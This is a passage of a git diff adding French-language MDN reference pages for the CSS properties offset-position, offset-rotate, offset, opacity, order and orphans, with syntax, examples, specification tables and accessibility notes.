+ <li>{{cssxref("offset-rotation")}}</li>
+ <li>{{cssxref("offset-anchor")}}</li>
+ <li>{{cssxref("offset-position")}}</li>
+ <li>{{SVGElement("path")}}</li>
+</ul>
diff --git a/files/fr/web/css/offset-position/index.html b/files/fr/web/css/offset-position/index.html
new file mode 100644
index 0000000000..21b83a9b99
--- /dev/null
+++ b/files/fr/web/css/offset-position/index.html
@@ -0,0 +1,105 @@
+---
+title: offset-position
+slug: Web/CSS/offset-position
+translation_of: Web/CSS/offset-position
+---
+<div>{{CSSRef}}{{seecompattable}}</div>
+
+<p>La propriété <a href="/fr/docs/Web/CSS">CSS</a> <strong><code>offset-position</code></strong> définit la <a href="https://www.w3.org/TR/motion-1/#valdef-offsetpath-initial-position">position initiale</a> de {{cssxref("offset-path")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Valeurs de mots clefs */
+offset-position: auto;
+offset-position: top;
+offset-position: bottom;
+offset-position: left;
+offset-position: right;
+offset-position: center;
+
+/* Valeurs de &lt;pourcentage&gt; */
+offset-position: 25% 75%;
+
+/* Valeurs de &lt;longueur&gt; */
+offset-position: 0 0;
+offset-position: 1cm 2cm;
+offset-position: 10ch 8em;
+
+/* Valeurs d'écart d'un bord */
+offset-position: bottom 10px right 20px;
+offset-position: right 3em bottom 10px;
+offset-position: bottom 10px right;
+offset-position: top right 10px;
+
+/* Valeurs globales */
+offset-position: inherit;
+offset-position: initial;
+offset-position: unset;
+</pre>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La position initiale est la position de la boîte spécifiée par la propriété {{cssxref("position")}}.</dd>
+ <dt id="&lt;position>"><code>&lt;position&gt;</code></dt>
+ <dd>Une {{cssxref("&lt;position&gt;")}}. Une position définit des coordonnées x/y pour positionner un élément de façon relative aux bords de la boîte de cet élément. Elles peuvent être définies en utilisant une à quatre valeurs. Si deux valeurs qui ne sont pas des mots clefs sont utilisées, la première valeur représente la position horizontale et la seconde représente la position verticale. Si seulement une valeur est définie, la seconde est considérée comme <code>center</code>. Si trois ou quatre valeurs sont utilisées, les valeurs en pourcentage sont des écarts du mot clef qui les précéde. Pour plus d'explications sur ces types de valeur, consultez {{cssxref("background-position")}}.</dd>
+</dl>
+
+<h2 id="Définition_formelle">Définition formelle</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax_formelle">Syntax formelle</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_la_valeur_initiale_de_offset-position">Définir la valeur initiale de offset-position</h3>
+
+<pre class="brush: html notranslate">&lt;div id="motion-demo"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">#motion-demo {
+  offset-path: path('M20,20 C20,100 200,0 200,100');
+  offset-position: left top;
+  animation: move 3000ms infinite alternate ease-in-out;
+  width: 40px;
+  height: 40px;
+  background: cyan;
+}
+
+@keyframes move {
+  0% {
+    offset-distance: 0%;
+  }
+  100% {
+    offset-distance: 100%;
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Motion Path Level 1', '#offset-position-property', 'offset-position')}}</td>
+   <td>{{Spec2('Motion Path Level 1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_de_navigateur">Compatibilité de navigateur</h2>
+
+<div class="hidden">Le tableau de compatibilité est généré sur cette page avec des données structurées. Si vous désiez contribuer à ces données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer votre proposition de changement.</div>
+
+<p>{{Compat("css.properties.offset-position")}}</p>
diff --git a/files/fr/web/css/offset-rotate/index.html b/files/fr/web/css/offset-rotate/index.html
new file mode 100644
index 0000000000..4ddd5380c0
--- /dev/null
+++ b/files/fr/web/css/offset-rotate/index.html
@@ -0,0 +1,123 @@
+---
+title: offset-rotate
+slug: Web/CSS/offset-rotate
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - offset-rotate
+translation_of: Web/CSS/offset-rotate
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>offset-rotate</code></strong> définit l'orientation et la direction de l'élément lorsqu'il est positionné le long du chemin représenté par {{cssxref("offset-path")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Suit la direction du chemin avec un éventuel */
+/* décalage angulaire */
+offset-rotate: auto;
+offset-rotate: auto 45deg;
+
+/* Suit la direction du chemin mais orienté dans la
+/* direction opposée */
+offset-rotate: reverse;
+
+/* Conserve une rotation constante quelle que soit la position
+/* sur le chemin  */
+offset-rotate: 90deg;
+offset-rotate: .5turn;</pre>
+
+<dl>
+ <dt><code><dfn>auto</dfn></code></dt>
+ <dd>
+ <p>L'élément est tourné avec l'angle donné par la direction du chemin {{cssxref("offset-path")}}, relativement à l'axe des abscisses. C'est la valeur par défaut.</p>
+ </dd>
+ <dt><code>{{cssxref("&lt;angle&gt;")}}</code></dt>
+ <dd>
+ <p>L'élément est tourné d'un angle fixe (indiqué dans le sens horaire).</p>
+ </dd>
+ <dt><code><dfn>auto &lt;angle&gt;</dfn></code></dt>
+ <dd>
+ <p>Si le mot-clé <code>auto</code> est suivi d'une valeur {{cssxref("&lt;angle&gt;")}}, l'élément est tourné de l'angle donné par rapport à la direction du chemin.</p>
+ </dd>
+ <dt><code><dfn>reverse</dfn></code></dt>
+ <dd>
+ <p>L'élément est tourné de façon similaire à <code>auto</code>, mais fait face à la direction opposée. Cette valeur est équivalente à <code>auto 180deg</code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 40px;
+  height: 40px;
+  background: #2BC4A2;
+  margin: 20px;
+  clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%);
+  animation: move 5000ms infinite alternate ease-in-out;
+
+  offset-path: path('M20,20 C20,50 180,-10 180,20');
+}
+div:nth-child(1) {
+  offset-rotate: auto;
+}
+div:nth-child(2) {
+  offset-rotate: auto 90deg;
+}
+div:nth-child(3) {
+  offset-rotate: 30deg;
+}
+
+@keyframes move {
+  100% {
+    offset-distance: 100%;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;&lt;/div&gt;
+&lt;div&gt;&lt;/div&gt;
+&lt;div&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Motion Path Level 1', '#offset-rotate-property', 'offset-rotate')}}</td>
+   <td>{{Spec2('Motion Path Level 1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les versions antérieures de la spécification utilisait le nom <code>motion-rotation</code> pour cette propriété.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.offset-rotate")}}</p>
diff --git a/files/fr/web/css/offset/index.html b/files/fr/web/css/offset/index.html
new file mode 100644
index 0000000000..a3fe13e57b
--- /dev/null
+++ b/files/fr/web/css/offset/index.html
@@ -0,0 +1,104 @@
+---
+title: offset
+slug: Web/CSS/offset
+tags:
+  - CSS
+  - Draft
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/offset
+---
+<div>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>offset</code></strong> est une propriété raccourcie pour les propriétés {{cssxref("offset-path")}}, {{cssxref("offset-position")}}, {{cssxref("offset-distance")}}, {{cssxref("offset-rotate")}} et {{cssxref("offset-anchor")}}. Elle permet d'animer un élément sur un tracé défini.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans les premières versions de la spécification, cette propriété était intitulée <code>motion</code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Position de décalage */
+offset: auto
+offset: 10px 30px;
+offset: none;
+
+/* Chemin de décalage */
+offset: ray(45deg closest-side);
+offset: path(M 100 100 L 300 100 L 200 300 z);
+offset: url(arc.svg);
+
+/* Chemin de décalage avec une distance et/ou */
+/* une rotation */
+offset: url(circle.svg) 100px;
+offset: url(circle.svg) 40%;
+offset: url(circle.svg) 30deg;
+offset: url(circle.svg) 50px 20deg;
+
+/* Gestion d'une ancre de décalage */
+offset: ray(45deg closest-side) / 40px 20px;
+offset: url(arc.svg) 2cm / 0.5cm 3cm;
+offset: url(arc.svg) 30deg / 50px 100px;
+</pre>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="offsetElement"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@keyframes move {
+  from {
+    offset-distance: 0%;
+  }
+
+  to {
+    offset-distance: 100%;
+  }
+}
+
+#offsetElement {
+  width: 50px;
+  height: 50px;
+  background-color: blue;
+  offset: path("M 100 100 L 300 100 L 200 300 z") auto;
+  animation: move 3s linear infinite;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 350, 350)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Motion Path Level 1', '#offset-shorthand', 'offset')}}</td>
+   <td>{{Spec2('Motion Path Level 1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.offset")}}</p>
diff --git a/files/fr/web/css/opacity/index.html b/files/fr/web/css/opacity/index.html
new file mode 100644
index 0000000000..d454141433
--- /dev/null
+++ b/files/fr/web/css/opacity/index.html
@@ -0,0 +1,184 @@
+---
+title: opacity
+slug: Web/CSS/opacity
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/opacity
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>opacity</code></strong> définit la transparence d'un élément. Autrement dit, elle permet de définir le degré de visibilité de l'arrière-plan sur lequel est placé l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/opacity.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur s'applique à l'ensemble de l'élément et à ce qu'il contient même si la valeur n'est pas héritée par les éléments fils. Ainsi, un élément et les fils qu'il contient auront tous la même opacité relative à l'arrière-plan, même si l'élément et ses descendants ont des opacités différentes. Si on souhaite utiliser différentes opacités pour les différents éléments enfants, plutôt que d'utiliser <code>opacity</code>, on pourra utiliser la propriété {{cssxref("background")}} avec une composante alpha différente de 1 (par exemple : <code>background: rgba(0, 0, 0, 0.4);</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs numériques */
+/* Totalement opaque  */
+opacity: 1;
+opacity: 1.0;
+
+/* Légèrement transparent */
+opacity: 0.6;
+
+/* Complètement transparent */
+opacity: 0.0;
+opacity: 0;
+
+/* Valeurs globales */
+opacity: inherit;
+opacity: initial;
+opacity: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} dans l'intervalle [<code>0.0</code>, <code>1.0]</code> qui représente l'opacité de l'élément, la valeur de son canal alpha. Les valeurs en dehors de cet intervalle seront considérées comme valides mais ramenées dans cet intervalle (ainsi <code>6</code> sera équivalent à <code>1</code> et -2 sera équivalent à <code>0</code>).
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Valeur</th>
+    <th>Signification</th>
+   </tr>
+   <tr>
+    <td><code>0</code></td>
+    <td>L'élément est complètement transparent (invisible).</td>
+   </tr>
+   <tr>
+    <td>Toute valeur de type {{cssxref("&lt;number&gt;")}} strictement comprise entre <code>0</code> et <code>1</code></td>
+    <td>L'élément est partiellement transparent, on peut voir l'arrière-plan.</td>
+   </tr>
+   <tr>
+    <td><code>1</code> (la valeur par défaut)</td>
+    <td>L'élément est complètement opaque.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+}
+
+.leger {
+  /* On ne voit presque pas le texte */
+  opacity: 0.2;
+}
+.moyen {
+  /* On peut mieux discerner le texte */
+  opacity: 0.5;
+}
+.lourd {
+  /* Le texte est clairement visible */
+  opacity: 0.9;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="leger"&gt;On arrive à peine à lire.&lt;/div&gt;
+&lt;div class="moyen"&gt;On voit mieux.&lt;/div&gt;
+&lt;div class="lourd"&gt;Ceci est plus simple à lire.&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple', '640', '64')}}</p>
+
+<h3 id="Jouer_sur_l’opacité_avec_hover">Jouer sur l’opacité avec <code>:hover</code></h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">img.opacity {
+  opacity: 1;
+  /* IE8 et antérieurs */
+  filter: alpha(opacity=100);
+  /* Déclenche "hasLayout" dans IE 7 et antérieurs */
+  zoom: 1;
+}
+
+img.opacity:hover {
+  opacity: 0.5;
+  filter: alpha(opacity=50);
+  zoom: 1;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;img src="//developer.mozilla.org/media/img/mdn-logo.png"
+     alt="MDN logo" width="128" height="146"
+     class="opacity"&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Jouer_sur_l’opacité_avec_hover", '150', '175')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Si l'opacité du texte est modifiée, il est nécessaire de vérifier que le contraste entre la couleur du texte et l'arrière-plan est suffisant pour que le texte soit lisible, y compris pour les personnes souffrant de trouble de la vision.</p>
+
+<p>Le ratio de contraste est déterminé en comparant la luminosité de la couleur du texte (dont l'opacité a été adaptée) et celle de l'arrière-plan. Les recommandations du <a href="https://www.w3.org/WAI/intro/wcag">WCAG</a>  conseillent un ratio de 4.5:1 pour les textes normaux et 3:1 pour les textes plus grands (un texte est considéré comme grand s'il est en gras et dont les lettres mesurent 18.66px ou si ses lettres mesurent 24px ou plus).</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">Vérificateur de contraste WebAIM</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html"><em>Understanding Success Criterion 1.4.3, W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'opacity')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>opacity</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#opacity', 'opacity')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.opacity")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms532910%28VS.85%29.aspx">La documentation MSDN de Microsoft sur <code>filter:alpha(opacity=xx)</code></a></li>
+</ul>
diff --git a/files/fr/web/css/order/index.html b/files/fr/web/css/order/index.html
new file mode 100644
index 0000000000..193a043b33
--- /dev/null
+++ b/files/fr/web/css/order/index.html
@@ -0,0 +1,130 @@
+---
+title: order
+slug: Web/CSS/order
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/order
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>order</code></strong> définit l'ordre avec lequel on dessine les éléments d'un conteneur d'éléments flexibles ou d'une grille d'éléments. Les éléments sont appliqués dans l'ordre croissant des valeurs de <code>order</code>. Les éléments ayant la même valeur pour <code>order</code> seront appliqués dans l'ordre selon lequel ils apparaissent dans le code source du document.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/order.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note </strong>: <code>order</code> est uniquement conçue pour affecter <strong>l'ordre visuel</strong>. Elle ne doit pas être utilisée pour modifier l'ordre logique ou l'ordre de tabulation. <code><strong>order</strong></code> ne doit pas être utilisée avec les média non visuels comme les informations vocales.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs entières (type &lt;integer&gt;) */
+/* positives ou négatives */
+order: 5;
+order: -5;
+
+/* Valeurs globales */
+order: inherit;
+order: initial;
+order: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>Un nombre entier (cf. {{cssxref("&lt;integer&gt;")}}) indiquant l'ordre à appliquer pour l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;">&lt;div id='main'&gt;
+   &lt;article&gt;Lorem ipsum&lt;/article&gt;
+   &lt;nav&gt; consectetur adipisicing elit, sed do eiusmod&lt;/nav&gt;
+   &lt;aside&gt;tempor incididunt ut labore et dolore magna&lt;/aside&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Grâce à ces déclarations CSS, on crée un disposition avec deux barres entourant un bloc de contenu. Le module de disposition des boîtes flexibles crée des bloc de tailles verticales égales et utilise autant d'espace horizontal qu'il y en a de disponible.</p>
+
+<pre class="brush:css;">#main {
+  display: flex;
+}
+
+#main &gt; article {
+  flex:1;
+  order: 2;
+  border: 1px dotted orange;
+}
+
+#main &gt; nav {
+  width: 200px;
+  order: 1;
+  border: 1px dotted blue;
+}
+
+#main &gt; aside {
+  width: 200px;
+  order: 3;
+  border: 1px dotted blue;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>La propriété <code>order</code> créera une incohérence entre l'ordre de présentation visuelle et celui du DOM. Cela aura un impact négatif pour les utilisateurs avec des troubles de la vision et qui utilisent des outils d'assistance comme les lecteurs d'écran. Si l'ordre visuel est important, les utilisateurs de lecteurs d'écran n'auront pas accès à l'ordre correct.</p>
+
+<ul>
+ <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/"><em>Flexbox &amp; the keyboard navigation disconnect — Tink</em> (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2015/09/source-order-matters.html"><em>Source Order Matters, Adrian Roselli</em> (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Comprendre les règles du WCAG 1.3</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-sequence.html"><em>Understanding Success Criterion 1.3.2, W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#order-property', 'order')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.order")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le guide CSS sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de base</a></em></li>
+ <li>Le guide CSS sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Ordering_Flex_Items">Ordonner les éléments flexibles</a></em></li>
+ <li>Le guide sur la grille CSS : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité">La disposition en grille et l'accessibilité</a></em></li>
+</ul>
diff --git a/files/fr/web/css/orphans/index.html b/files/fr/web/css/orphans/index.html
new file mode 100644
index 0000000000..8fa838fcac
--- /dev/null
+++ b/files/fr/web/css/orphans/index.html
@@ -0,0 +1,114 @@
+---
+title: orphans
+slug: Web/CSS/orphans
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/orphans
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>orphans</code></strong> définit le nombre <em>minimum</em> de lignes qui doivent rester en bas d'une <a href="/fr/docs/Web/CSS/M%C3%A9dia_pagin%C3%A9s">page</a>, d'une région ou d'une <a href="/fr/docs/Web/CSS/Colonnes_CSS">colonne</a> dans un conteneur de bloc.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeur numérique entière */
+orphans: 3;
+
+/* Valeurs globales */
+orphans: inherit;
+orphans: initial;
+orphans: unset;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> En typographie, un orphelin (<em>orphan</em> en anglais) est la première ligne d'un paragraphe qui apparaît isolée en bas d'une page (le paragraphe poursuivant sur la page suivante).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>Seules les valeurs positives sont autorisées. Le nombre de lignes qu'on souhaite avoir au minimum avant une rupture.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class=exemple&gt;
+  Tout en causant ainsi, Alice était entrée dans une petite chambre
+  bien rangée, et, comme elle s’y attendait, sur une petite table
+  dans l’embrasure de la fenêtre, elle vit un éventail et deux ou
+  trois paires de gants de chevreau tout petits. Elle en prit une
+  paire, ainsi que l’éventail, et allait quitter la chambre lorsqu’
+  elle aperçut, près du miroir, une petite bouteille. Cette fois il
+  n’y avait pas l’inscription BUVEZ-MOI — ce qui n’empêcha pas Alice
+  de la déboucher et de la porter à ses lèvres. « Il m’arrive toujours
+  quelque chose d’intéressant, » se dit-elle, « lorsque je mange ou
+  que je bois. Je vais voir un peu l’effet de cette bouteille.
+  J’espère bien qu’elle me fera regrandir, car je suis vraiment
+  fatiguée de n’être qu’une petite nabote ! »C’est ce qui arriva en
+  effet, et bien plus tôt qu’elle ne s’y attendait. Elle n’avait pas
+  bu la moitié de la bouteille, que sa tête touchait au plafond et
+  qu’elle fut forcée de se baisser pour ne pas se casser le cou. Elle
+  remit bien vite la bouteille sur la table en se disant : « En voilà
+  assez ; j’espère ne pas grandir davantage. Je ne puis déjà plus
+  passer par la porte. Oh ! je voudrais bien n’avoir pas tant bu ! »
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  orphans: 4;
+  columns: 3;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","600","500")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#widows-orphans', 'orphans')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>La propriété <code>orphans</code> est étendue pour s'appliquer à n'importe quel fragment comme les pages, les régions ou les colonnes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#break-inside', 'orphans')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.orphans")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("widows")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Média_paginés">Média paginés</a></li>
+</ul>
diff --git a/files/fr/web/css/outils/générateur_de_courbe_de_bézier/index.html b/files/fr/web/css/outils/générateur_de_courbe_de_bézier/index.html
new file mode 100644
index 0000000000..6a4671d141
--- /dev/null
+++ b/files/fr/web/css/outils/générateur_de_courbe_de_bézier/index.html
@@ -0,0 +1,13 @@
+---
+title: Générateur de courbe de Bézier
+slug: Web/CSS/Outils/Générateur_de_courbe_de_Bézier
+tags:
+  - CSS
+  - Outils
+translation_of: Web/CSS/Tools/Cubic_Bezier_Generator
+---
+<p>{{Draft}}</p>
+
+<div class="note">
+<p><strong>Note</strong><strong> :</strong> Cette page n'est pas complète, l'outil doit être finalisé sur la version anglaise.</p>
+</div>
diff --git a/files/fr/web/css/outils/générateur_de_dégradés_linéaires/index.html b/files/fr/web/css/outils/générateur_de_dégradés_linéaires/index.html
new file mode 100644
index 0000000000..ae2340fd73
--- /dev/null
+++ b/files/fr/web/css/outils/générateur_de_dégradés_linéaires/index.html
@@ -0,0 +1,13 @@
+---
